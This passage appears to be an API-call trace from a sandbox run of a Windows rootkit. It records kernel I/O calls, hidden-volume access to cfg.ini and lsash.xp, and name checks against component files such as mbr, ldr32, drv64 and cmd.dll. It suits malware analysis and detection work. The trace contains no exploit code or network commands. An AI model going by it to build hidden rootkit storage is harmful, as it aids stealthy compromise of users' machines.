_Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.571] KeEnterCriticalRegion () [0117.571] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.571] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.571] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.571] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.571] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0117.571] IdePortDispatch () returned 0x103 [0117.571] KeWaitForMutexObject () returned 0x0 [0117.571] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.572] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.572] KeLeaveCriticalRegion () [0117.572] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.572] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.572] KeEnterCriticalRegion () [0117.572] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.572] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cd0000 [0117.572] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.572] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.572] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.572] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.572] IdePortDispatch () returned 0x103 [0117.572] KeWaitForMutexObject () returned 0x0 [0117.572] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.572] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.572] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.572] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.572] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.572] IdePortDispatch () returned 0x103 [0117.572] KeWaitForMutexObject () returned 0x0 [0117.572] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.572] KeLeaveCriticalRegion () [0117.572] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.573] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.573] KeEnterCriticalRegion () [0117.573] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.573] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.573] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.573] KeLeaveCriticalRegion () [0117.573] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.573] KeEnterCriticalRegion () [0117.573] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.573] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0117.573] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039daa00, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0117.573] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.573] KeLeaveCriticalRegion () [0117.573] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.573] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.573] KeEnterCriticalRegion () [0117.573] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.573] ExFreePoolWithTag (P=0xfffffa80039dae10, Tag=0x0) [0117.573] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.573] KeLeaveCriticalRegion () [0117.573] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.573] ReleaseMutex (hMutex=0xf0) returned 1 [0117.573] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0117.573] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0117.573] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0117.573] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0117.573] KeEnterCriticalRegion () [0117.573] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.573] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.573] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.573] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.573] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0117.573] IdePortDispatch () returned 0x103 [0117.574] KeWaitForMutexObject () returned 0x0 [0117.574] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.574] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0117.574] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.574] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.574] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.574] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0117.574] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0117.574] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.574] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.574] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0117.574] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.574] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.574] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.574] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.574] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.574] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.574] KeLeaveCriticalRegion () [0117.574] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.574] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0117.574] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0117.574] KeEnterCriticalRegion () [0117.574] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.574] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.574] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.574] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.574] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0117.574] IdePortDispatch () returned 0x103 [0117.574] KeWaitForMutexObject () returned 0x0 [0117.574] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.574] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0117.574] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.574] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.574] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.574] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0117.575] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0117.575] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.575] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.575] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0117.575] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.575] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.575] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.575] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.575] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.575] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.575] KeLeaveCriticalRegion () [0117.575] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.575] ReleaseMutex (hMutex=0x100) returned 1 [0117.575] Sleep (dwMilliseconds=0x2bf20) [0117.581] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6946f330, dwHighDateTime=0x1d24fa4)) [0117.581] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0117.581] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0117.581] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0117.581] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.581] KeEnterCriticalRegion () [0117.581] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.581] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.581] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.581] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.581] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0117.581] IdePortDispatch () returned 0x103 [0117.581] KeWaitForMutexObject () returned 0x0 [0117.581] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.581] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.581] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.581] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0117.581] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0117.581] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039d97c0 [0117.581] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.581] KeLeaveCriticalRegion () [0117.581] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.582] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.582] KeEnterCriticalRegion () [0117.582] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.582] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.582] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.582] KeLeaveCriticalRegion () [0117.582] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.582] KeEnterCriticalRegion () [0117.582] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.582] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.582] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.582] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.582] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0117.582] IdePortDispatch () returned 0x103 [0117.582] KeWaitForMutexObject () returned 0x0 [0117.582] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.582] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.582] KeLeaveCriticalRegion () [0117.582] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.582] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.582] KeEnterCriticalRegion () [0117.582] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.582] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cd3000 [0117.582] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.582] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.582] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.582] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.582] IdePortDispatch () returned 0x103 [0117.582] KeWaitForMutexObject () returned 0x0 [0117.583] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.583] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.583] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.583] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.583] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.583] IdePortDispatch () returned 0x103 [0117.583] KeWaitForMutexObject () returned 0x0 [0117.583] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.583] KeLeaveCriticalRegion () [0117.583] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.583] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.583] KeEnterCriticalRegion () [0117.583] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.583] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.583] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.583] KeLeaveCriticalRegion () [0117.583] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.583] KeEnterCriticalRegion () [0117.583] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.583] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0117.583] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039da600, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0117.583] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.584] KeLeaveCriticalRegion () [0117.584] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.584] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.584] KeEnterCriticalRegion () [0117.584] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.584] ExFreePoolWithTag (P=0xfffffa80039d97c0, Tag=0x0) [0117.584] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.584] KeLeaveCriticalRegion () [0117.584] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.584] ReleaseMutex (hMutex=0xf0) returned 1 [0117.584] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0117.584] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0117.584] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.584] KeEnterCriticalRegion () [0117.584] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.584] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.584] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.584] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.584] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0117.584] IdePortDispatch () returned 0x103 [0117.584] KeWaitForMutexObject () returned 0x0 [0117.584] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.584] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.584] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.584] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0117.584] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0117.584] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039cf600 [0117.584] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.584] KeLeaveCriticalRegion () [0117.584] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.584] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.584] KeEnterCriticalRegion () [0117.584] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.584] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.584] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.584] KeLeaveCriticalRegion () [0117.585] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.585] KeEnterCriticalRegion () [0117.585] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.585] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.585] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.585] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.585] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0117.585] IdePortDispatch () returned 0x103 [0117.586] KeWaitForMutexObject () returned 0x0 [0117.586] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.586] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.586] KeLeaveCriticalRegion () [0117.586] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.586] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.586] KeEnterCriticalRegion () [0117.586] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.586] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cd4000 [0117.586] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.586] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.586] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.586] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.586] IdePortDispatch () returned 0x103 [0117.586] KeWaitForMutexObject () returned 0x0 [0117.586] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.586] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.586] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.586] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.586] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.586] IdePortDispatch () returned 0x103 [0117.587] KeWaitForMutexObject () returned 0x0 [0117.587] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.587] KeLeaveCriticalRegion () [0117.587] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.587] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.587] KeEnterCriticalRegion () [0117.587] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.587] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.587] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.587] KeLeaveCriticalRegion () [0117.587] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.587] KeEnterCriticalRegion () [0117.587] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.587] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0117.587] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d9070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0117.587] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.587] KeLeaveCriticalRegion () [0117.587] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.587] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.588] KeEnterCriticalRegion () [0117.588] 